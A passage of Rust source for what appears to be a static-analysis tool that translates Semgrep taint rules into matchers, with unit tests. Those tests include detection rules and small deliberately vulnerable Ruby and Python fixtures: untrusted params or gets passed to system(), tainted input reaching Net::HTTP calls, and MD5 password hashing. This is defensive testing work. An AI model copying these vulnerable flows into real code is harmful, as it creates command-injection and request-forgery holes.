if matches!(lang, Language::Ruby | Language::Php) {
if let Some(callee) = parse_command_call(pat) {
return Some(GenericMatcher::Call {
canonical: callee.to_string(),
description: describe(callee, role),
});
}
}
if let Some(open_paren) = pat.find('(') {
if !pat.ends_with(')') {
return None;
}
let callee = pat[..open_paren].trim();
if callee.is_empty() {
return None;
}
if lang == Language::CSharp {
if let Some(type_name) = callee.strip_prefix("new ") {
let type_name = type_name.trim();
if is_dotted_identifier(type_name) {
return Some(GenericMatcher::Call {
canonical: type_name.to_string(),
description: describe(type_name, role),
});
}
}
}
if let Some(method) = parse_metavar_dot_method(callee) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::MethodName {
method: method.to_string(),
description: describe(method, role),
}),
MatcherRole::Source => None,
};
}
if let Some(field) = parse_member_call_penultimate(callee) {
return Some(GenericMatcher::FieldName {
field: field.to_string(),
description: describe(field, role),
});
}
if let Some(receiver) = parse_receiver_dot_metavar(callee) {
return match role {
MatcherRole::Sink | MatcherRole::Sanitizer => Some(GenericMatcher::ReceiverCall {
receiver: receiver.to_string(),
description: describe(receiver, role),
}),
MatcherRole::Source => None,
};
}
if !is_dotted_identifier(callee) {
return None;
}
let canonical = callee.to_string();
return Some(GenericMatcher::Call {
canonical: canonical.clone(),
description: describe(&canonical, role),
});
}
if is_php_variable(pat) {
return match role {
MatcherRole::Source => Some(GenericMatcher::ParamName {
names: vec![pat.to_string()],
description: format!("untrusted `{}` input", pat),
}),
MatcherRole::Sink | MatcherRole::Sanitizer => None,
};
}
if let Some(field) = parse_metavar_dot_method(pat) {
return Some(GenericMatcher::FieldName {
field: field.to_string(),
description: describe(field, role),
});
}
if let MatcherRole::Source = role {
if let Some(root) = parse_concrete_root_metavar_field(pat) {
return Some(GenericMatcher::ParamName {
names: vec![root.to_string()],
description: format!("untrusted `{}` request object", root),
});
}
}
if !is_dotted_identifier(pat) {
return None;
}
if let Some(dot) = pat.rfind('.') {
let root = pat[..pat.find('.').expect("rfind guarantees at least one dot")].to_string();
let field = pat[dot + 1..].to_string();
if root.is_empty() || field.is_empty() {
return None;
}
let desc = describe(pat, role);
return Some(GenericMatcher::Attribute {
root,
field,
description: desc,
});
}
match role {
MatcherRole::Source => Some(GenericMatcher::ParamName {
names: vec![pat.to_string()],
description: format!("untrusted `{}` parameter", pat),
}),
MatcherRole::Sink | MatcherRole::Sanitizer => None,
}
}
fn parse_member_assign_pattern(pat: &str) -> Option<&str> {
let eq_pos = find_single_assignment(pat)?;
let lhs = pat[..eq_pos].trim();
if lhs.contains('(') || lhs.contains(')') {
return None;
}
parse_metavar_dot_method(lhs)
}
fn find_single_assignment(s: &str) -> Option<usize> {
let bytes = s.as_bytes();
for (i, &b) in bytes.iter().enumerate() {
if b != b'=' {
continue;
}
if bytes.get(i + 1) == Some(&b'=') {
continue;
}
if i > 0 && matches!(bytes[i - 1], b'!' | b'<' | b'>') {
continue;
}
return Some(i);
}
None
}
fn parse_subscript_base(pat: &str) -> Option<Option<String>> {
if !pat.ends_with(']') {
return None;
}
let open = pat.find('[')?;
let base = pat[..open].trim();
if base.is_empty() {
return None;
}
if base.contains('(') || base.contains(')') || base.contains('[') || base.contains(' ') {
return None;
}
if is_metavariable(base) {
return Some(None);
}
if is_identifier(base) {
return Some(Some(base.to_string()));
}
if let Some(dot) = base.rfind('.') {
let last = &base[dot + 1..];
if is_metavariable(last) {
return Some(None);
}
if is_identifier(last) {
let head_ok = base[..dot]
.split('.')
.all(|seg| is_identifier(seg) || is_metavariable(seg));
if head_ok {
return Some(Some(last.to_string()));
}
}
}
None
}
fn is_object_literal_value_pattern(pat: &str) -> bool {
let p = pat.trim();
if !(p.starts_with('{') && p.ends_with('}')) {
return false;
}
let bytes = p.as_bytes();
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b':' {
let mut j = i + 1;
while j < bytes.len() && (bytes[j] as char).is_whitespace() {
j += 1;
}
if j < bytes.len() && bytes[j] == b'$' {
let mut k = j + 1;
if k < bytes.len() && (bytes[k].is_ascii_alphabetic() || bytes[k] == b'_') {
while k < bytes.len() && (bytes[k].is_ascii_alphanumeric() || bytes[k] == b'_')
{
k += 1;
}
return true;
}
}
}
i += 1;
}
false
}
fn parse_return_metavar(pat: &str) -> Option<()> {
let rest = pat.strip_prefix("return")?;
if !rest.starts_with(char::is_whitespace) {
return None;
}
let v = rest.trim();
let name = v.strip_prefix('$')?;
if name.is_empty() {
return None;
}
let mut chars = name.chars();
let first = chars.next()?;
if !(first.is_ascii_alphabetic() || first == '_') {
return None;
}
if name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') {
Some(())
} else {
None
}
}
fn is_loose_equality_pattern(pat: &str) -> bool {
let p = pat.trim();
for op in ["==", "!="] {
let Some(idx) = p.find(op) else {
continue;
};
if p[idx + op.len()..].starts_with('=') {
continue;
}
if idx > 0 {
let prev = p.as_bytes()[idx - 1];
if matches!(prev, b'<' | b'>' | b'!' | b'=') {
continue;
}
}
let lhs = p[..idx].trim();
let rhs = p[idx + op.len()..].trim();
if is_metavariable(lhs) && is_metavariable(rhs) {
return true;
}
}
false
}
fn is_binop_format_pattern(pat: &str) -> bool {
if (pat.starts_with("f\"") || pat.starts_with("f'")) && pat.contains("{$") {
return true;
}
let operands = split_top_level_binop(pat);
let Some(operands) = operands else {
return false;
};
if operands.len() < 2 {
return false;
}
operands.iter().all(|o| is_binop_operand(o))
}
fn split_top_level_binop(pat: &str) -> Option<Vec<&str>> {
let bytes = pat.as_bytes();
let mut operands = Vec::new();
let mut start = 0usize;
let mut depth: i32 = 0;
let mut quote: Option<u8> = None;
let mut found_op = false;
let mut i = 0usize;
while i < bytes.len() {
let b = bytes[i];
if let Some(q) = quote {
if b == q {
quote = None;
}
i += 1;
continue;
}
match b {
b'"' | b'\'' => quote = Some(b),
b'(' | b'[' | b'{' => depth += 1,
b')' | b']' | b'}' => depth -= 1,
b'+' | b'%' if depth == 0 => {
let space_before = i > 0 && bytes[i - 1] == b' ';
let space_after = i + 1 < bytes.len() && bytes[i + 1] == b' ';
if space_before && space_after {
operands.push(pat[start..i].trim());
start = i + 1;
found_op = true;
}
}
_ => {}
}
i += 1;
}
if !found_op {
return None;
}
operands.push(pat[start..].trim());
Some(operands)
}
fn is_binop_operand(o: &str) -> bool {
let o = o.trim();
if o.is_empty() {
return false;
}
if o == "..." {
return true;
}
if (o.starts_with('"') && o.ends_with('"') && o.len() >= 2)
|| (o.starts_with('\'') && o.ends_with('\'') && o.len() >= 2)
|| (o.starts_with("f\"") && o.ends_with('"'))
|| (o.starts_with("f'") && o.ends_with('\''))
{
return true;
}
if is_metavariable(o) {
return true;
}
if is_dotted_identifier(o) {
return true;
}
false
}
fn is_python_string_construction_source(pat: &str) -> bool {
let p = pat.trim();
if p.starts_with("f\"") || p.starts_with("f'") {
return true;
}
if is_binop_format_pattern(p) {
return true;
}
if let Some(recv) = parse_format_call_receiver(p) {
if is_metavariable(recv) || is_quoted_string_literal(recv) {
return true;
}
}
false
}
fn parse_format_call_receiver(pat: &str) -> Option<&str> {
let p = pat.trim();
if !p.ends_with(')') {
return None;
}
let open = p.find('(')?;
let head = p[..open].trim_end();
let dot = head.rfind('.')?;
if head[dot + 1..].trim() != "format" {
return None;
}
Some(head[..dot].trim())
}
fn is_quoted_string_literal(s: &str) -> bool {
let s = s.trim();
let body = s.strip_prefix('f').unwrap_or(s);
(body.starts_with('"') && body.ends_with('"') && body.len() >= 2)
|| (body.starts_with('\'') && body.ends_with('\'') && body.len() >= 2)
}
fn parse_metavar_dot_method(callee: &str) -> Option<&str> {
let dot = callee.find('.')?;
let receiver = &callee[..dot];
let rest = &callee[dot + 1..];
if !is_metavariable(receiver) {
return None;
}
if rest.contains('.') {
return None;
}
if !is_identifier(rest) {
return None;
}
Some(rest)
}
fn parse_concrete_root_metavar_field(pat: &str) -> Option<&str> {
let dot = pat.find('.')?;
let root = &pat[..dot];
let field = &pat[dot + 1..];
if field.contains('.') {
return None;
}
if !is_identifier(root) {
return None;
}
if !is_metavariable(field) {
return None;
}
Some(root)
}
fn parse_member_call_penultimate(callee: &str) -> Option<&str> {
let segments: Vec<&str> = callee.split('.').collect();
if segments.len() < 3 {
return None;
}
let method = segments[segments.len() - 1];
let field = segments[segments.len() - 2];
if !is_identifier(method) || !is_identifier(field) {
return None;
}
let mut has_metavar = false;
for seg in &segments[..segments.len() - 2] {
if is_metavariable(seg) {
has_metavar = true;
} else if !is_identifier(seg) {
return None;
}
}
if !has_metavar {
return None;
}
Some(field)
}
fn parse_receiver_dot_metavar(callee: &str) -> Option<&str> {
let dot = callee.find('.')?;
let receiver = &callee[..dot];
let rest = &callee[dot + 1..];
if !is_identifier(receiver) {
return None;
}
if rest.contains('.') {
return None;
}
if !is_metavariable(rest) {
return None;
}
Some(receiver)
}
fn parse_command_call(pat: &str) -> Option<&str> {
let sp = pat.find([' ', '\t'])?;
let callee = &pat[..sp];
if !is_identifier(callee) {
return None;
}
let args = pat[sp..].trim();
if args.is_empty() || !is_whole_args_list(args) {
return None;
}
Some(callee)
}
fn is_whole_args_list(args: &str) -> bool {
if args == "..." {
return true;
}
if let Some(rest) = args.strip_prefix("$...") {
return !rest.is_empty() && rest.chars().all(|c| c.is_ascii_alphanumeric() || c == '_');
}
is_metavariable(args)
}
fn parse_typed_metavar(pat: &str) -> Option<(&str, &str, &str)> {
let pat = pat.trim();
let rest = pat.strip_prefix('(')?;
let close = rest.find(')')?;
let inner = rest[..close].trim();
let (ty, mv) = inner.rsplit_once(char::is_whitespace)?;
let ty = ty.trim();
let mv = mv.trim();
if !is_metavariable(mv) || !is_type_name(ty) {
return None;
}
let remainder = &rest[close + 1..];
Some((ty, mv, remainder))
}
fn parse_go_typed_metavar(pat: &str) -> Option<(&str, &str, &str)> {
let pat = pat.trim();
let rest = pat.strip_prefix('(')?;
let close = rest.find(')')?;
let inner = rest[..close].trim();
let (mv, ty) = inner.split_once(':')?;
let mv = mv.trim();
let ty = ty.trim();
if !is_metavariable(mv) || !is_go_type_name(ty) {
return None;
}
let remainder = &rest[close + 1..];
Some((ty, mv, remainder))
}
fn is_go_type_name(s: &str) -> bool {
let base = normalize_go_type(s);
is_dotted_identifier(&base)
}
pub(crate) fn normalize_go_type(s: &str) -> String {
let mut base = s.trim();
loop {
let trimmed = base
.trim_start_matches('*')
.trim_start_matches('&')
.trim_start();
let trimmed = trimmed.strip_prefix("[]").unwrap_or(trimmed).trim_start();
if trimmed == base {
break;
}
base = trimmed;
}
base.trim().to_string()
}
fn is_type_name(s: &str) -> bool {
let mut base = s.trim();
if base.ends_with('>') {
if let Some(lt) = base.find('<') {
base = base[..lt].trim_end();
}
}
while let Some(stripped) = base.strip_suffix("[]") {
base = stripped.trim_end();
}
is_dotted_identifier(base)
}
fn type_final_segment(type_text: &str) -> &str {
let mut base = type_text.trim();
if base.ends_with('>') {
if let Some(lt) = base.find('<') {
base = base[..lt].trim_end();
}
}
while let Some(stripped) = base.strip_suffix("[]") {
base = stripped.trim_end();
}
base.rsplit('.').next().unwrap_or(base).trim()
}
fn is_metavariable(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some('$') => {}
_ => return false,
}
let rest: String = chars.collect();
!rest.is_empty()
&& rest
.chars()
.all(|c| c.is_ascii_uppercase() || c.is_ascii_digit() || c == '_')
}
fn describe(canonical: &str, role: MatcherRole) -> String {
match role {
MatcherRole::Source => format!("semgrep source `{}`", canonical),
MatcherRole::Sink => format!("semgrep sink `{}`", canonical),
MatcherRole::Sanitizer => format!("semgrep sanitizer `{}`", canonical),
}
}
fn is_dotted_identifier(s: &str) -> bool {
if s.is_empty() {
return false;
}
s.split('.').all(is_identifier)
}
fn is_identifier(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
_ => return false,
}
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
}
fn is_ruby_constant_path(s: &str) -> bool {
let p = s.trim();
if !p.contains("::") {
return false;
}
if p.contains('(') || p.contains(')') || p.contains('[') || p.contains(' ') || p.contains('.') {
return false;
}
let segments: Vec<&str> = p.split("::").collect();
if segments.len() < 2 {
return false;
}
segments.iter().all(|seg| {
seg.chars().next().is_some_and(|c| c.is_ascii_uppercase())
&& seg.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')
})
}
fn is_php_variable(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some('$') => {}
_ => return false,
}
let rest: &str = &s[1..];
if rest.is_empty() {
return false;
}
is_identifier(rest)
}
fn map_severity(s: &str) -> Severity {
match s.to_ascii_uppercase().as_str() {
"ERROR" => Severity::Critical,
"WARNING" => Severity::High,
"INFO" => Severity::Medium,
_ => Severity::Medium,
}
}
fn extract_cwe(yaml: &YamlValue) -> Option<String> {
let meta = yaml.get("metadata")?;
let cwe = meta.get("cwe")?;
match cwe {
YamlValue::String(s) => Some(s.clone()),
YamlValue::Sequence(v) => v.first().and_then(|x| x.as_str()).map(|s| s.to_string()),
_ => None,
}
}
#[cfg(test)]
mod tests {
use super::*;
fn compile(pattern: &str, role: MatcherRole) -> Option<GenericMatcher> {
compile_pattern(pattern, role, Language::Python)
}
#[test]
fn compile_attribute_source() {
let m = compile("request.data", MatcherRole::Source).expect("attribute");
match m {
GenericMatcher::Attribute { root, field, .. } => {
assert_eq!(root, "request");
assert_eq!(field, "data");
}
_ => panic!("expected Attribute"),
}
}
#[test]
fn compile_nested_attribute_takes_leftmost_root_and_outermost_field() {
let m = compile("request.session.user_id", MatcherRole::Source).expect("attribute");
match m {
GenericMatcher::Attribute { root, field, .. } => {
assert_eq!(root, "request");
assert_eq!(field, "user_id");
}
_ => panic!("expected Attribute"),
}
}
#[test]
fn compile_call_with_metavar() {
let m = compile("pickle.loads($X)", MatcherRole::Sink).expect("call");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "pickle.loads"),
_ => panic!("expected Call"),
}
}
#[test]
fn compile_call_with_ellipsis() {
let m = compile("pickle.loads(...)", MatcherRole::Sink).expect("call");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "pickle.loads"),
_ => panic!("expected Call"),
}
}
#[test]
fn compile_bare_func_call() {
let m = compile("eval($X)", MatcherRole::Sink).expect("call");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "eval"),
_ => panic!("expected Call"),
}
}
#[test]
fn compile_member_call_metavar_root_yields_fieldname_on_penultimate() {
let m = compile("$CLIENT.chat.completions.create(...)", MatcherRole::Source)
.expect("member-call source");
match m {
GenericMatcher::FieldName { field, .. } => assert_eq!(field, "completions"),
other => panic!("expected FieldName, got {other:?}"),
}
let m = compile("$CLIENT.messages.create(...)", MatcherRole::Source).expect("member-call");
match m {
GenericMatcher::FieldName { field, .. } => assert_eq!(field, "messages"),
other => panic!("expected FieldName, got {other:?}"),
}
}
#[test]
fn compile_member_call_metavar_root_concrete_field_as_sink() {
let m = compile("$CLIENT.calls.create(...)", MatcherRole::Sink).expect("member-call sink");
match m {
GenericMatcher::FieldName { field, .. } => assert_eq!(field, "calls"),
other => panic!("expected FieldName, got {other:?}"),
}
}
#[test]
fn compile_member_call_metavar_penultimate_is_rejected() {
let m = compile("request.$PROPERTY.get(...)", MatcherRole::Source);
assert!(
!matches!(m, Some(GenericMatcher::FieldName { .. })),
"metavar penultimate must not compile to FieldName, got {m:?}"
);
}
#[test]
fn compile_member_call_fully_concrete_stays_call() {
let m = compile("flask.request.form.get(...)", MatcherRole::Source).expect("concrete call");
match m {
GenericMatcher::Call { canonical, .. } => {
assert_eq!(canonical, "flask.request.form.get")
}
other => panic!("expected Call, got {other:?}"),
}
}
#[test]
fn parse_member_call_penultimate_edge_cases() {
assert_eq!(
parse_member_call_penultimate("$CLIENT.chat.completions.create"),
Some("completions")
);
assert_eq!(parse_member_call_penultimate("$REQ.POST.get"), Some("POST"));
assert_eq!(parse_member_call_penultimate("$CONN.executeQuery"), None);
assert_eq!(parse_member_call_penultimate("$REQ.POST.$M"), None);
assert_eq!(parse_member_call_penultimate("request.$PROP.get"), None);
assert_eq!(parse_member_call_penultimate("a.b.c"), None);
}
#[test]
fn compile_bare_identifier_source() {
let m = compile("request", MatcherRole::Source).expect("paramname");
match m {
GenericMatcher::ParamName { names, .. } => {
assert_eq!(names, vec!["request".to_string()])
}
_ => panic!("expected ParamName"),
}
}
#[test]
fn bare_identifier_rejected_as_sink() {
assert!(compile("request", MatcherRole::Sink).is_none());
}
#[test]
fn weird_shapes_rejected() {
assert!(matches!(
compile("$X + $Y", MatcherRole::Source),
Some(GenericMatcher::BinopFormat { .. })
));
assert!(compile("a.b.c(d", MatcherRole::Sink).is_none());
assert!(compile("", MatcherRole::Source).is_none());
}
#[test]
fn parse_full_taint_rule() {
let yaml = r#"
id: semgrep-pickle-taint
mode: taint
languages: [python]
severity: ERROR
message: "Untrusted input reaches pickle.loads"
metadata:
cwe: "CWE-502"
pattern-sources:
- pattern: request.data
- pattern: request
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.id, "semgrep/semgrep-pickle-taint");
assert_eq!(r.lang, Language::Python);
assert_eq!(r.cwe.as_deref(), Some("CWE-502"));
assert_eq!(r.spec.sources.len(), 2);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn non_taint_rule_falls_through() {
let yaml = r#"
id: classic
pattern: eval(...)
message: x
severity: ERROR
languages: [python]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
assert!(matches!(parse_taint_rule(&v), TaintRuleParse::NotTaint));
}
#[test]
fn taint_rule_with_unsupported_language_is_skipped() {
let yaml = r#"
id: x
mode: taint
languages: [elixir]
severity: ERROR
message: m
pattern-sources: [{pattern: req}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
assert!(matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)));
}
#[test]
fn taint_rule_with_ruby_language_compiles() {
let yaml = r#"
id: ruby-taint
mode: taint
languages: [ruby]
severity: ERROR
message: m
pattern-sources: [{pattern: gets($X)}]
pattern-sinks: [{pattern: system($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Ruby);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_rb_alias_compiles_as_ruby() {
let yaml = r#"
id: rb-taint
mode: taint
languages: [rb]
severity: ERROR
message: m
pattern-sources: [{pattern: gets($X)}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::Ruby),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn ruby_taint_rule_produces_finding_for_source_to_sink_flow() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-cmd-injection
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted input reaches system"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: gets($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def run
cmd = gets
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for gets -> system flow, got none"
);
assert!(
findings[0].description.contains("gets"),
"description should mention source"
);
}
#[test]
fn ruby_md5_used_as_password_compiles_to_intended_shapes() {
let rule = compiled(
r#"
id: md5-used-as-password
mode: taint
languages: [ruby]
severity: WARNING
message: m
pattern-sources:
- pattern: Digest::MD5
pattern-sinks:
- patterns:
- pattern: $FUNCTION(...);
- metavariable-regex:
metavariable: $FUNCTION
regex: (?i)(.*password.*)
"#,
);
assert_eq!(rule.lang, Language::Ruby);
assert_eq!(rule.spec.sources.len(), 1, "one Digest::MD5 source");
match &rule.spec.sources[0] {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "Digest::MD5"),
other => panic!("expected Call source, got {other:?}"),
}
assert_eq!(rule.spec.sinks.len(), 1, "one password CallRegex sink");
assert!(
matches!(rule.spec.sinks[0], GenericMatcher::CallRegex { .. }),
"expected CallRegex sink, got {:?}",
rule.spec.sinks[0]
);
}
#[test]
fn ruby_md5_used_as_password_fires_on_md5_only() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: md5-used-as-password
mode: taint
languages: [ruby]
severity: WARNING
message: m
pattern-sources:
- pattern: Digest::MD5
pattern-sinks:
- patterns:
- pattern: $FUNCTION(...);
- metavariable-regex:
metavariable: $FUNCTION
regex: (?i)(.*password.*)
"#,
);
let src = r#"
require 'digest'
def ex1(user, pwtext)
user.set_password Digest::MD5.hexdigest pwtext
end
def ex2(user, pwtext)
md5 = Digest::MD5.new
md5.update pwtext
dig = md5.hexdigest
user.set_password dig
end
def ok1(user, pwtext)
user.set_password Digest::SHA256.hexdigest pwtext
end
def ok2(user, pwtext)
sha = Digest::SHA256.new
sha.update pwtext
dig = sha.hexdigest
user.set_password dig
end
"#;
let tree = parse_file(src, Language::Ruby).expect("parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
2,
"MD5→set_password must fire twice (ex1, ex2), SHA256 silent; got {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
}
#[test]
fn ruby_tainted_http_request_enumerates_concrete_call_sinks() {
let rule = compiled(RUBY_TAINTED_HTTP_RULE);
assert_eq!(rule.lang, Language::Ruby);
assert!(
rule.spec
.sinks
.iter()
.all(|m| matches!(m, GenericMatcher::Call { .. })),
"every enumerated sink must be a concrete Call, got {:?}",
rule.spec.sinks
);
let canon: Vec<&str> = rule
.spec
.sinks
.iter()
.filter_map(|m| match m {
GenericMatcher::Call { canonical, .. } => Some(canonical.as_str()),
_ => None,
})
.collect();
assert!(
canon.contains(&"Net::HTTP.get"),
"has Net::HTTP.get: {canon:?}"
);
assert!(
canon.contains(&"Net::HTTP::Get.new"),
"has Net::HTTP::Get.new: {canon:?}"
);
assert!(
canon.contains(&"Net::HTTP.start") && canon.contains(&"Net::HTTP.post_form"),
"has method-list entries: {canon:?}"
);
assert_eq!(
canon.len(),
34,
"15 constructor + 19 method canonicals: {canon:?}"
);
}
#[test]
fn ruby_tainted_http_request_fires_on_positives_only() {
use crate::engine::parser::parse_file;
let rule = compiled(RUBY_TAINTED_HTTP_RULE);
let src = r#"
require 'net/http'
def foo
url = params[:url]
Net::HTTP.get(url, "/index.html")
Net::HTTP.get_response(params[:url])
uri = URI(params[:url])
Net::HTTP.post(uri)
Net::HTTP.post_form(URI(params[:url]))
uri = URI(params[:server])
req = Net::HTTP::Get.new uri
Net::HTTP.start(uri.host, uri.port) do |http|
req = Net::HTTP::Get.new uri
resp = http.request request
end
Net::HTTP::Get.new(params[:url])
Net::HTTP::Post.new(URI(params[:url]))
Net::HTTP.get("example.com", "/index.html")
uri = URI("example.com/index.html")
Net::HTTP::Get.new(uri)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
9,
"9 tainted Net::HTTP calls fire, 2 literal-URL calls stay silent; got {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
}
const RUBY_TAINTED_HTTP_RULE: &str = r#"
id: avoid-tainted-http-request
mode: taint
languages: [ruby]
severity: WARNING
message: m
pattern-sources:
- pattern: params
- pattern: cookies
- pattern: request.env
pattern-sinks:
- pattern-either:
- patterns:
- pattern: Net::HTTP::$METHOD.new(...)
- metavariable-pattern:
metavariable: $METHOD
patterns:
- pattern-either:
- pattern: Copy
- pattern: Delete
- pattern: Get
- pattern: Head
- pattern: Lock
- pattern: Mkcol
- pattern: Move
- pattern: Options
- pattern: Patch
- pattern: Post
- pattern: Propfind
- pattern: Proppatch
- pattern: Put
- pattern: Trace
- pattern: Unlock
- patterns:
- pattern: Net::HTTP.$X(...)
- metavariable-pattern:
metavariable: $X
patterns:
- pattern-either:
- pattern: get
- pattern: get2
- pattern: head
- pattern: head2
- pattern: options
- pattern: patch
- pattern: post
- pattern: post2
- pattern: post_form
- pattern: put
- pattern: request
- pattern: request_get
- pattern: request_head
- pattern: request_post
- pattern: send_request
- pattern: trace
- pattern: get_print
- pattern: get_response
- pattern: start
"#;
const PATTERN_NOT_SRC: &str = r#"
def handler():
cmd = input()
dangerous(cmd)
allowlisted(cmd)
"#;
#[test]
fn taint_patterns_block_without_pattern_not_reports_both_sinks() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-no-negative
mode: taint
languages: [python]
severity: ERROR
message: "tainted input reaches a sink"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: input($X)
pattern-sinks:
- pattern: dangerous($X)
- pattern: allowlisted($X)
"#,
);
let tree = parse_file(PATTERN_NOT_SRC, Language::Python).expect("fixture parses");
let findings = rule.check(PATTERN_NOT_SRC, &tree);
assert_eq!(
findings.len(),
2,
"both dangerous() and allowlisted() sinks should fire without pattern-not, got {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
}
#[test]
fn taint_patterns_block_pattern_not_suppresses_allowlisted_sink() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-with-negative
mode: taint
languages: [python]
severity: ERROR
message: "tainted input reaches a sink"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: input($X)
pattern-sinks:
- pattern: dangerous($X)
- patterns:
- pattern: allowlisted($X)
- pattern-not: allowlisted($X)
"#,
);
let tree = parse_file(PATTERN_NOT_SRC, Language::Python).expect("fixture parses");
let findings = rule.check(PATTERN_NOT_SRC, &tree);
assert_eq!(
findings.len(),
1,
"pattern-not should suppress the allowlisted() sink, leaving only dangerous(); got {:?}",
findings
.iter()
.map(|f| f.sink_description.clone())
.collect::<Vec<_>>()
);
assert!(
findings[0]
.sink_description
.as_deref()
.map(|d| d.contains("dangerous"))
.unwrap_or(false),
"the surviving finding should be the dangerous() sink, got {:?}",
findings[0].sink_description
);
}
const PATTERN_INSIDE_SRC: &str = r#"
def safe_zone():
cmd = input()
dangerous(cmd)
def other_zone():
cmd = input()
dangerous(cmd)
"#;
#[test]
fn taint_patterns_block_without_pattern_inside_reports_both_regions() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-no-inside
mode: taint
languages: [python]
severity: ERROR
message: "tainted input reaches a sink"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: input($X)
pattern-sinks:
- pattern: dangerous($X)
"#,
);
let tree = parse_file(PATTERN_INSIDE_SRC, Language::Python).expect("fixture parses");
let findings = rule.check(PATTERN_INSIDE_SRC, &tree);
assert_eq!(
findings.len(),
2,
"without pattern-inside, dangerous() should fire in BOTH functions, got lines {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
}
#[test]
fn taint_patterns_block_pattern_inside_restricts_to_region() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-with-inside
mode: taint
languages: [python]
severity: ERROR
message: "tainted input reaches a sink"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: input($X)
pattern-sinks:
- patterns:
- pattern: dangerous($X)
- pattern-inside: |
def safe_zone():
...
"#,
);
let tree = parse_file(PATTERN_INSIDE_SRC, Language::Python).expect("fixture parses");
let findings = rule.check(PATTERN_INSIDE_SRC, &tree);
assert_eq!(
findings.len(),
1,
"pattern-inside should keep ONLY the sink inside safe_zone(), got lines {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
assert_eq!(
findings[0].line, 4,
"the surviving finding should be inside safe_zone() (line 4), got line {}",
findings[0].line
);
}
#[test]
fn ruby_bridge_bare_params_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-params-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
- pattern: params
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = params[:cmd]
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for params[:cmd] -> system, got {:?}",
findings
);
assert_eq!(
findings[0].line, 4,
"finding should be at the system() sink line"
);
}
#[test]
fn ruby_bridge_bare_gets_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-gets-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted gets reaches system"
pattern-sources:
- pattern: gets
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = gets
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for bare gets -> system, got {:?}",
findings
);
assert_eq!(
findings[0].line, 4,
"finding should be at the system() sink line"
);
}
#[test]
fn ruby_bridge_bare_params_source_sanitized_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-params-cmdi-sanitized
